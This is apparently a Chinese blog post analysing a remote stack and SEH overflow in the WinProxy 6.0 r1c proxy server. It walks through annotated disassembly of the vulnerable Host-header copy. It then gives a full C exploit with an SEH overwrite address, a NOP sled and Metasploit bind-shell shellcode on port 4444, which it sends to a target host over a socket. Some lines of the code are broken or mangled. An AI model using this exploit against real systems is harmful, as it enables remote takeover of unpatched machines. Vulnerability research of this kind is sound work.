winproxy 6.0 r1c stack/seh overflow 分析

[0] 难得经典的远程堆栈溢出,又很好利用,分析下记个笔记,有问题请联系我。

[1] 调用堆栈
WinProxy.0051F050
    |
    WinProxy.0051F4D0
        |
        WinProxy.00435E00
            |
            WinProxy.004360B0
                |
                WinProxy.00434200
                    |
                    WinProxy.005D9F80
                        |
                        WinProxy.005DE080

[2] 反汇编代码分析
----------------------造成溢出的调用------------------------
sub_5DE080      proc near               ; CODE XREF: sub_5D9F80+1ABFp
.text:005DE080                                         ; sub_5DD1A0+11Ep
.text:005DE080
.text:005DE080 var_44          = dword ptr -44h
.text:005DE080 var_40          = dword ptr -40h
.text:005DE080 var_3C          = dword ptr -3Ch
.text:005DE080 var_38          = dword ptr -38h
.text:005DE080 var_34          = dword ptr -34h
.text:005DE080 var_C           = dword ptr -0Ch
.text:005DE080 var_4           = dword ptr -4
.text:005DE080 arg_0           = dword ptr  4
.text:005DE080 arg_4           = dword ptr  8
.text:005DE080 arg_8           = dword ptr  0Ch
.text:005DE080
.text:005DE080                 push    0FFFFFFFFh
.text:005DE082                 push    offset loc_6613E8
.text:005DE087                 mov     eax, large fs:0
.text:005DE08D                 push    eax
.text:005DE08E                 mov     large fs:0, esp
.text:005DE095                 sub     esp, 38h        ; 这里只分配了38h(56)字节大小的堆栈,造成溢出的前提
.text:005DE098                 push    ebx
.text:005DE099                 mov     ebx, [esp+48h+arg_8]
.text:005DE09D                 mov     eax, 80h
.text:005DE0A2                 push    ebp
.text:005DE0A3                 push    esi
.text:005DE0A4                 cmp     ebx, eax
.text:005DE0A6                 push    edi
.text:005DE0A7                 mov     [esp+54h+var_38], eax
.text:005DE0AB                 mov     [esp+54h+var_40], eax
.text:005DE0AF                 jl      short loc_5DE0BB
.text:005DE0B1                 lea     eax, [ebx+80h]
.text:005DE0B7                 mov     [esp+54h+var_40], eax
.text:005DE0BB
.text:005DE0BB loc_5DE0BB:                             ; CODE XREF: sub_5DE080+2Fj
.text:005DE0BB                 push    eax
.text:005DE0BC                 call    sub_61F390
.text:005DE0C1                 mov     edx, [esp+58h+arg_4]
.text:005DE0C5                 mov     ecx, ebx
.text:005DE0C7                 mov     [esp+58h+var_44], eax
.text:005DE0CB                 mov     edi, eax
.text:005DE0CD                 mov     eax, ecx
.text:005DE0CF                 mov     esi, edx
.text:005DE0D1                 shr     ecx, 2
.text:005DE0D4                 mov     [esp+58h+var_3C], ebx
.text:005DE0D8                 rep movsd
.text:005DE0DA                 mov     ecx, eax
.text:005DE0DC                 and     ecx, 3
.text:005DE0DF                 rep movsb
.text:005DE0E1                 mov     ecx, [esp+58h+var_44]
.text:005DE0E5                 mov     byte ptr [ecx+ebx], 0
.text:005DE0E9                 push    edx
.text:005DE0EA                 mov     [esp+5Ch+var_4], 0
.text:005DE0F2                 call    sub_61F3D0
.text:005DE0F7                 lea     edx, [esp+5Ch+var_44]
.text:005DE0FB                 push    edx
.text:005DE0FC                 call    sub_5DE360
.text:005DE101                 mov     edi, offset aHttp_1 ; "http://"
.text:005DE106                 or      ecx, 0FFFFFFFFh
.text:005DE109                 xor     eax, eax
.text:005DE10B                 add     esp, 0Ch
.text:005DE10E                 repne scasb
.text:005DE110                 not     ecx
.text:005DE112                 sub     edi, ecx
.text:005DE114                 lea     edx, [esp+54h+var_34]
.text:005DE118                 mov     eax, ecx
.text:005DE11A                 mov     esi, edi
.text:005DE11C                 mov     edi, edx
.text:005DE11E                 shr     ecx, 2
.text:005DE121                 rep movsd
.text:005DE123                 mov     ecx, eax
.text:005DE125                 mov     eax, dword_7227F4
.text:005DE12A                 and     ecx, 3
.text:005DE12D                 test    eax, eax
.text:005DE12F                 rep movsb
.text:005DE131                 jz      loc_5DE1FD
.text:005DE137                 mov     ecx, dword_7227E8
.text:005DE13D                 xor     eax, eax
.text:005DE13F                 lea     edx, [esp+54h+var_34]
.text:005DE143                 lea     edi, [ecx+7E9Ch]
.text:005DE149                 or      ecx, 0FFFFFFFFh
.text:005DE14C                 repne scasb
.text:005DE14E                 not     ecx
.text:005DE150                 sub     edi, ecx
.text:005DE152                 mov     esi, edi
.text:005DE154                 mov     ebx, ecx
.text:005DE156                 mov     edi, edx
.text:005DE158                 or      ecx, 0FFFFFFFFh
.text:005DE15B                 repne scasb
.text:005DE15D                 mov     ecx, ebx
.text:005DE15F                 dec     edi
.text:005DE160                 shr     ecx, 2
.text:005DE163                 rep movsd
.text:005DE165                 mov     ecx, ebx
.text:005DE167                 mov     eax, offset aHttpAdmin_wi_4 ; "http://Admin.WinProxy"
.text:005DE16C                 and     ecx, 3
.text:005DE16F                 test    eax, eax
.text:005DE171                 rep movsb
.text:005DE173                 jz      loc_5DE2C9
.text:005DE179                 lea     ecx, [esp+54h+var_34]
.text:005DE17D                 test    ecx, ecx
.text:005DE17F                 jz      loc_5DE2C9
.text:005DE185                 mov     edi, eax
.text:005DE187                 or      ecx, 0FFFFFFFFh
.text:005DE18A                 xor     eax, eax
.text:005DE18C                 mov     edx, [esp+54h+var_44]
.text:005DE190                 repne scasb
.text:005DE192                 not     ecx
.text:005DE194                 dec     ecx
.text:005DE195                 lea     edi, [esp+54h+var_34]
.text:005DE199                 mov     ebx, ecx
.text:005DE19B                 or      ecx, 0FFFFFFFFh
.text:005DE19E                 repne scasb
.text:005DE1A0                 not     ecx
.text:005DE1A2                 dec     ecx
.text:005DE1A3                 push    offset aHttpAdmin_wi_4 ; char *
.text:005DE1A8                 push    edx             ; char *
.text:005DE1A9                 mov     edi, ecx
.text:005DE1AB                 call    _strstr
.text:005DE1B0                 add     esp, 8
.text:005DE1B3                 test    eax, eax
.text:005DE1B5                 jz      loc_5DE2C9
.text:005DE1BB                 sub     eax, [esp+54h+var_44]
.text:005DE1BF                 mov     esi, eax
.text:005DE1C1                 js      loc_5DE2C9
.text:005DE1C7
.text:005DE1C7 loc_5DE1C7:                             ; CODE XREF: sub_5DE080+176j
.text:005DE1C7                 push    ebx
.text:005DE1C8                 push    esi
.text:005DE1C9                 lea     ecx, [esp+5Ch+var_44]
.text:005DE1CD                 call    sub_4501B0
.text:005DE1D2                 lea     eax, [esp+54h+var_34]
.text:005DE1D6                 lea     ecx, [esp+54h+var_44]
.text:005DE1DA                 push    eax
.text:005DE1DB                 push    esi
.text:005DE1DC                 call    sub_450220
.text:005DE1E1                 add     esi, edi
.text:005DE1E3                 lea     ecx, [esp+54h+var_44]
.text:005DE1E7                 push    esi
.text:005DE1E8                 push    offset aHttpAdmin_wi_4 ; "http://Admin.WinProxy"
.text:005DE1ED                 call    sub_450590
.text:005DE1F2                 mov     esi, eax
.text:005DE1F4                 test    esi, esi
.text:005DE1F6                 jge     short loc_5DE1C7
.text:005DE1F8                 jmp     loc_5DE2C9
.text:005DE1FD ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:005DE1FD
.text:005DE1FD loc_5DE1FD:                             ; CODE XREF: sub_5DE080+B1j
.text:005DE1FD                 mov     eax, dword_7227E0
.text:005DE202                 test    eax, eax
.text:005DE204                 jz      loc_5DE2C9
.text:005DE20A                 jge     short loc_5DE21E
.text:005DE20C                 mov     ecx, 2
.text:005DE211                 sub     ecx, eax
.text:005DE213                 push    ecx
.text:005DE214                 mov     ecx, offset dword_7227D8
.text:005DE219                 call    sub_412300
.text:005DE21E
.text:005DE21E loc_5DE21E:                             ; CODE XREF: sub_5DE080+18Aj
.text:005DE21E                 mov     edi, dword_7227D8
.text:005DE224                 or      ecx, 0FFFFFFFFh
.text:005DE227                 xor     eax, eax
.text:005DE229                 lea     edx, [esp+54h+var_34]
.text:005DE22D                 repne scasb
.text:005DE22F                 not     ecx
.text:005DE231                 sub     edi, ecx
.text:005DE233                 mov     esi, edi
.text:005DE235                 mov     ebx, ecx
.text:005DE237                 mov     edi, edx
.text:005DE239                 or      ecx, 0FFFFFFFFh
.text:005DE23C                 repne scasb             ; 指针指到字符串末尾
.text:005DE23E                 mov     ecx, ebx
.text:005DE240                 dec     edi
.text:005DE241                 shr     ecx, 2          ; 416字节
.text:005DE244                 rep movsd               ; 复制主机名,造成溢出
.text:005DE246                 mov     ecx, ebx
.text:005DE248                 mov     eax, offset aHttpAdmin_wi_4 ; "http://Admin.WinProxy"
.text:005DE24D                 and     ecx, 3
.text:005DE250                 test    eax, eax
.text:005DE252                 rep movsb
.text:005DE254                 jz      short loc_5DE2C9
.text:005DE256                 lea     ecx, [esp+54h+var_34]
.text:005DE25A                 test    ecx, ecx
.text:005DE25C                 jz      short loc_5DE2C9
.text:005DE25E                 mov     edi, eax
.text:005DE260                 or      ecx, 0FFFFFFFFh
.text:005DE263                 xor     eax, eax
.text:005DE265                 mov     edx, [esp+54h+var_44]
.text:005DE269                 repne scasb
.text:005DE26B                 not     ecx
.text:005DE26D                 dec     ecx
.text:005DE26E                 lea     edi, [esp+54h+var_34]
.text:005DE272                 mov     ebx, ecx
.text:005DE274                 or      ecx, 0FFFFFFFFh
.text:005DE277                 repne scasb
.text:005DE279                 not     ecx
.text:005DE27B                 dec     ecx
.text:005DE27C                 push    offset aHttpAdmin_wi_4 ; char *
.text:005DE281                 push    edx             ; char *
.text:005DE282                 mov     edi, ecx
.text:005DE284                 call    _strstr
.text:005DE289                 add     esp, 8
.text:005DE28C                 test    eax, eax
.text:005DE28E                 jz      short loc_5DE2C9
.text:005DE290                 sub     eax, [esp+54h+var_44]
.text:005DE294                 mov     esi, eax
.text:005DE296                 js      short loc_5DE2C9
.text:005DE298
.text:005DE298 loc_5DE298:                             ; CODE XREF: sub_5DE080+247j
.text:005DE298                 push    ebx
.text:005DE299                 push    esi
.text:005DE29A                 lea     ecx, [esp+5Ch+var_44]
.text:005DE29E                 call    sub_4501B0
.text:005DE2A3                 lea     eax, [esp+54h+var_34]
.text:005DE2A7                 lea     ecx, [esp+54h+var_44]
.text:005DE2AB                 push    eax
.text:005DE2AC                 push    esi
.text:005DE2AD                 call    sub_450220
.text:005DE2B2                 add     esi, edi
.text:005DE2B4                 lea     ecx, [esp+54h+var_44]
.text:005DE2B8                 push    esi
.text:005DE2B9                 push    offset aHttpAdmin_wi_4 ; "http://Admin.WinProxy"
.text:005DE2BE                 call    sub_450590
.text:005DE2C3                 mov     esi, eax
.text:005DE2C5                 test    esi, esi
.text:005DE2C7                 jge     short loc_5DE298
.text:005DE2C9
.text:005DE2C9 loc_5DE2C9:                             ; CODE XREF: sub_5DE080+F3j
.text:005DE2C9                                         ; sub_5DE080+FFj ...
.text:005DE2C9                 mov     ebx, [esp+54h+var_3C]
.text:005DE2CD                 lea     ecx, [ebx+1]
.text:005DE2D0                 push    ecx
.text:005DE2D1                 call    sub_61F390
.text:005DE2D6                 mov     ebp, eax
.text:005DE2D8                 add     esp, 4
.text:005DE2DB                 mov     byte ptr [ebx+ebp], 0
.text:005DE2DF                 mov     eax, [esp+54h+var_3C]
.text:005DE2E3                 test    eax, eax
.text:005DE2E5                 jge     short loc_5DE2F8
.text:005DE2E7                 mov     edx, 2
.text:005DE2EC                 lea     ecx, [esp+54h+var_44]
.text:005DE2F0                 sub     edx, eax
.text:005DE2F2                 push    edx
.text:005DE2F3                 call    sub_412300
.text:005DE2F8
.text:005DE2F8 loc_5DE2F8:                             ; CODE XREF: sub_5DE080+265j
.text:005DE2F8                 mov     esi, [esp+54h+var_44]
.text:005DE2FC                 mov     ecx, ebx
.text:005DE2FE                 mov     eax, ecx
.text:005DE300                 mov     edi, ebp
.text:005DE302                 shr     ecx, 2
.text:005DE305                 rep movsd
.text:005DE307                 mov     ecx, eax
.text:005DE309                 push    0
.text:005DE30B                 and     ecx, 3
.text:005DE30E                 push    1
.text:005DE310                 rep movsb
.text:005DE312                 mov     ecx, [esp+5Ch+arg_0] ;
.text:005DE312                                         ; 取得栈里的局部变量,栈被覆盖后,该变量也被覆盖,
.text:005DE312                                         ; 这里是造成下面调用里异常的成因
.text:005DE316                 push    0
.text:005DE318                 push    0
.text:005DE31A                 push    ebx
.text:005DE31B                 push    ebp
.text:005DE31C                 add     ecx, 2B8h
.text:005DE322                 call    sub_42D0E0      ; 进入触发异常的调用
.text:005DE327                 mov     esi, eax
.text:005DE329                 mov     eax, [esp+54h+var_44]
.text:005DE32D                 test    eax, eax
.text:005DE32F                 mov     [esp+54h+var_4], 0FFFFFFFFh
.text:005DE337                 jz      short loc_5DE342
.text:005DE339                 push    eax
.text:005DE33A                 call    sub_61F3D0
.text:005DE33F                 add     esp, 4
.text:005DE342
.text:005DE342 loc_5DE342:                             ; CODE XREF: sub_5DE080+2B7j
.text:005DE342                 mov     ecx, [esp+54h+var_C]
.text:005DE346                 mov     eax, esi
.text:005DE348                 pop     edi
.text:005DE349                 pop     esi
.text:005DE34A                 pop     ebp
.text:005DE34B                 pop     ebx
.text:005DE34C                 mov     large fs:0, ecx
.text:005DE353                 add     esp, 44h
.text:005DE356                 retn    0Ch
.text:005DE356 sub_5DE080      endp


---------------------触发异常的子调用----------------------
.text:0042D0E0 sub_42D0E0      proc near               ; CODE XREF: sub_421AF0+34Fp
.text:0042D0E0                                         ; sub_421E90+94p ...
.text:0042D0E0
.text:0042D0E0 arg_0           = dword ptr  0Ch
.text:0042D0E0 arg_4           = dword ptr  10h
.text:0042D0E0 arg_8           = dword ptr  14h
.text:0042D0E0 arg_C           = dword ptr  18h
.text:0042D0E0 arg_10          = dword ptr  1Ch
.text:0042D0E0 arg_14          = dword ptr  20h
.text:0042D0E0
.text:0042D0E0                 push    esi
.text:0042D0E1                 push    edi
.text:0042D0E2                 mov     esi, ecx        ; 把ecx传送给esi,触发异常的原因
.text:0042D0E4                 push    28h
.text:0042D0E6                 call    sub_61F390
.text:0042D0EB                 xor     edx, edx
.text:0042D0ED                 add     esp, 4
.text:0042D0F0                 cmp     eax, edx
.text:0042D0F2                 jz      short loc_42D114
.text:0042D0F4                 mov     [eax], edx
.text:0042D0F6                 mov     [eax+8], edx
.text:0042D0F9                 mov     [eax+0Ch], edx
.text:0042D0FC                 mov     [eax+10h], edx
.text:0042D0FF                 mov     [eax+14h], edx
.text:0042D102                 mov     dword ptr [eax+18h], 1
.text:0042D109                 mov     [eax+1Ch], edx
.text:0042D10C                 mov     [eax+20h], edx
.text:0042D10F                 mov     [eax+24h], edx
.text:0042D112                 jmp     short loc_42D116
.text:0042D114 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:0042D114
.text:0042D114 loc_42D114:                             ; CODE XREF: sub_42D0E0+12j
.text:0042D114                 xor     eax, eax
.text:0042D116
.text:0042D116 loc_42D116:                             ; CODE XREF: sub_42D0E0+32j
.text:0042D116                 mov     ecx, [esp+arg_10]
.text:0042D11A                 mov     [eax+18h], ecx
.text:0042D11D                 mov     ecx, [esp+arg_8]
.text:0042D121                 cmp     ecx, edx
.text:0042D123                 jnz     short loc_42D12A
.text:0042D125                 mov     ecx, [esi+1Ch]  ; 溢出覆盖堆栈数据后,esi的内容被改写,造成这里读内存异常,
.text:0042D125                                         ; 覆盖堆栈里的结构化异常处理程序就成功利用了,所以利用程序很好写
.text:0042D128                 jmp     short loc_42D137
.text:0042D12A ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:0042D12A
.text:0042D12A loc_42D12A:                             ; CODE XREF: sub_42D0E0+43j
.text:0042D12A                 cmp     ecx, 0FFFFFFFFh
.text:0042D12D                 jnz     short loc_42D137
.text:0042D12F                 mov     ecx, [esi+1Ch]
.text:0042D132                 mov     edi, [esi+14h]
.text:0042D135                 add     ecx, edi
.text:0042D137
.text:0042D137 loc_42D137:                             ; CODE XREF: sub_42D0E0+48j
.text:0042D137                                         ; sub_42D0E0+4Dj
.text:0042D137                 mov     edi, [esp+arg_C]
.text:0042D13B                 mov     [eax], edx
.text:0042D13D                 cmp     edi, edx
.text:0042D13F                 jz      short loc_42D146
.text:0042D141                 mov     [eax+4], edx
.text:0042D144                 jmp     short loc_42D14D
.text:0042D146 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:0042D146
.text:0042D146 loc_42D146:                             ; CODE XREF: sub_42D0E0+5Fj
.text:0042D146                 mov     dword ptr [eax+4], 3
.text:0042D14D
.text:0042D14D loc_42D14D:                             ; CODE XREF: sub_42D0E0+64j
.text:0042D14D                 mov     edx, [esp+arg_0]
.text:0042D151                 mov     edi, [esp+arg_4]
.text:0042D155                 mov     [eax+8], ecx
.text:0042D158                 mov     ecx, [esp+arg_14]
.text:0042D15C                 mov     [eax+24h], ecx
.text:0042D15F                 push    eax
.text:0042D160                 mov     ecx, esi
.text:0042D162                 mov     [eax+0Ch], edx
.text:0042D165                 mov     [eax+10h], edi
.text:0042D168                 call    sub_42DD40
.text:0042D16D                 mov     eax, [esi+18h]
.text:0042D170                 add     eax, edi
.text:0042D172                 pop     edi
.text:0042D173                 mov     [esi+18h], eax
.text:0042D176                 mov     ecx, eax
.text:0042D178                 mov     eax, [esi+14h]
.text:0042D17B                 pop     esi
.text:0042D17C                 add     eax, ecx
.text:0042D17E                 retn    18h
.text:0042D17E sub_42D0E0      endp

[3] 溢出利用程序

/*
** 
** winproxy 6.0 r1c remote stack/seh overflow exploit
**
** luoluonet@hotmail.com
**
** description: 
http://www.idefense.com/intelligence/vulnerabilities/display.php?id=365 
**
** reference: 
http://www.milw0rm.com/id.php?id=1408
**
*/
#include 
<stdio.h>
#include 
<winsock2.h>

#pragma comment(lib, 
"ws2_32.lib")

#define BUFFER_SIZE 1024

void SendBuffer(char *szHost, int nPort, char *szBuffer, int nLen);

char szFormat[] = "GET / HTTP/1.0\r\nHost: localhost%s\r\n\r\n";

//
// pavinet.dll内的 pop ra pop rb ret 指令序列,具体的操作系统可以用ollydbg查找之
//
unsigned char seh[] = "\xf0\xea\x3f\x01";    // xp sp2
//unsigned char seh[] = "\xf0\xea\x78\x01";    // 2k sp4

unsigned 
char jmp[] = "\x90\x90\xeb\x10";

// shellcode from metasploit.org, bind cmd shell on port 4444
unsigned char sc[]    = "\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x26"
        
"\x8c\x6d\xa3\x83\xeb\xfc\xe2\xf4\xda\xe6\x86\xee\xce\x75\x92\x5c"
        
"\xd9\xec\xe6\xcf\x02\xa8\xe6\xe6\x1a\x07\x11\xa6\x5e\x8d\x82\x28"
        
"\x69\x94\xe6\xfc\x06\x8d\x86\xea\xad\xb8\xe6\xa2\xc8\xbd\xad\x3a"
        
"\x8a\x08\xad\xd7\x21\x4d\xa7\xae\x27\x4e\x86\x57\x1d\xd8\x49\x8b"
        
"\x53\x69\xe6\xfc\x02\x8d\x86\xc5\xad\x80\x26\x28\x79\x90\x6c\x48"
        
"\x25\xa0\xe6\x2a\x4a\xa8\x71\xc2\xe5\xbd\xb6\xc7\xad\xcf\x5d\x28"
        
"\x66\x80\xe6\xd3\x3a\x21\xe6\xe3\x2e\xd2\x05\x2d\x68\x82\x81\xf3"
        
"\xd9\x5a\x0b\xf0\x40\xe4\x5e\x91\x4e\xfb\x1e\x91\x79\xd8\x92\x73"
        
"\x4e\x47\x80\x5f\x1d\xdc\x92\x75\x79\x05\x88\xc5\xa7\x61\x65\xa1"
        
"\x73\xe6\x6f\x5c\xf6\xe4\xb4\xaa\xd3\x21\x3a\x5c\xf0\xdf\x3e\xf0"
        
"\x75\xdf\x2e\xf0\x65\xdf\x92\x73\x40\xe4\x7c\xff\x40\xdf\xe4\x42"
        
"\xb3\xe4\xc9\xb9\x56\x4b\x3a\x5c\xf0\xe6\x7d\xf2\x73\x73\xbd\xcb"
        
"\x82\x21\x43\x4a\x71\x73\xbb\xf0\x73\x73\xbd\xcb\xc3\xc5\xeb\xea"
        
"\x71\x73\xbb\xf3\x72\xd8\x38\x5c\xf6\x1f\x05\x44\x5f\x4a\x14\xf4"
        
"\xd9\x5a\x38\x5c\xf6\xea\x07\xc7\x40\xe4\x0e\xce\xaf\x69\x07\xf3"
        
"\x7f\xa5\xa1\x2a\xc1\xe6\x29\x2a\xc4\xbd\xad\x50\x8c\x72\x2f\x8e"
        
"\xd8\xce\x41\x30\xab\xf6\x55\x08\x8d\x27\x05\xd1\xd8\x3f\x7b\x5c"
        
"\x53\xc8\x92\x75\x7d\xdb\x3f\xf2\x77\xdd\x07\xa2\x77\xdd\x38\xf2"
        
"\xd9\x5c\x05\x0e\xff\x89\xa3\xf0\xd9\x5a\x07\x5c\xd9\xbb\x92\x73"
        
"\xad\xdb\x91\x20\xe2\xe8\x92\x75\x74\x73\xbd\xcb\x58\x54\x8f\xd0"
        
"\x75\x73\xbb\x5c\xf6\x8c\x6d\xa3";

void main(int argc, char *argv[])
{
    
char szBuffer[BUFFER_SIZE] = {0};
    
char szPadding[BUFFER_SIZE] = {0};

    
if (argc != 3)
    {
        printf(
"usage:\n  winproxy <host> <port>\n");
        
return;
    }

    
if (strlen(argv[1]) > 32)
    {
        printf(
"error: too long hostname\n");
        
return;
    }

    memset(szPadding, 
0x9024);
    memcpy(szPadding 
+ 24, jmp, 4);
    memcpy(szPadding 
+ 24 + 4, seh, 4);
    memset(szPadding 
+ 24 + 4 + 40x9032);
    memcpy(szPadding 
+ 24 + 4 + 4 + 32, sc, sizeof(sc));

    sprintf(szBuffer, szFormat, szPadding);
    
    SendBuffer(argv[
1], atoi(argv[2]), szBuffer, sizeof(szBuffer));
}

void SendBuffer(char *szHost, int nPort, char *szBuffer, int nLen)
{
    WSADATA WSAData;
    SOCKET s;
    SOCKADDR_IN addr_in;
    
int nBytesSend = 0;

    
if (WSAStartup(MAKEWORD(20), &WSAData) != 0)
    {
        printf(
"error: failed WSAStartup\n");
        
return;
    }

    
if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)
    {
        printf(
"error: failed socket\n");
        
return;
    }

    addr_in.sin_family 
= AF_INET;
    addr_in.sin_port 
= htons(nPort);
    addr_in.sin_addr.S_un.S_addr 
= inet_addr(szHost);

    
if (connect(s, (SOCKADDR *)&addr_in, sizeof(SOCKADDR)))
    {
        printf(
"error: failed connect\n");
        
goto _exit;
    }

    
if ((nBytesSend = send(s, szBuffer, nLen, 0)) == SOCKET_ERROR)
    {
        printf(
"error: failed send\n");
        
goto _exit;
    }

    printf(
"[+] totally %d bytes has been sended\n", nBytesSend);

_exit:
    closesocket(s);
    WSACleanup();
}
原文地址:https://www.cnblogs.com/luoluo/p/315760.html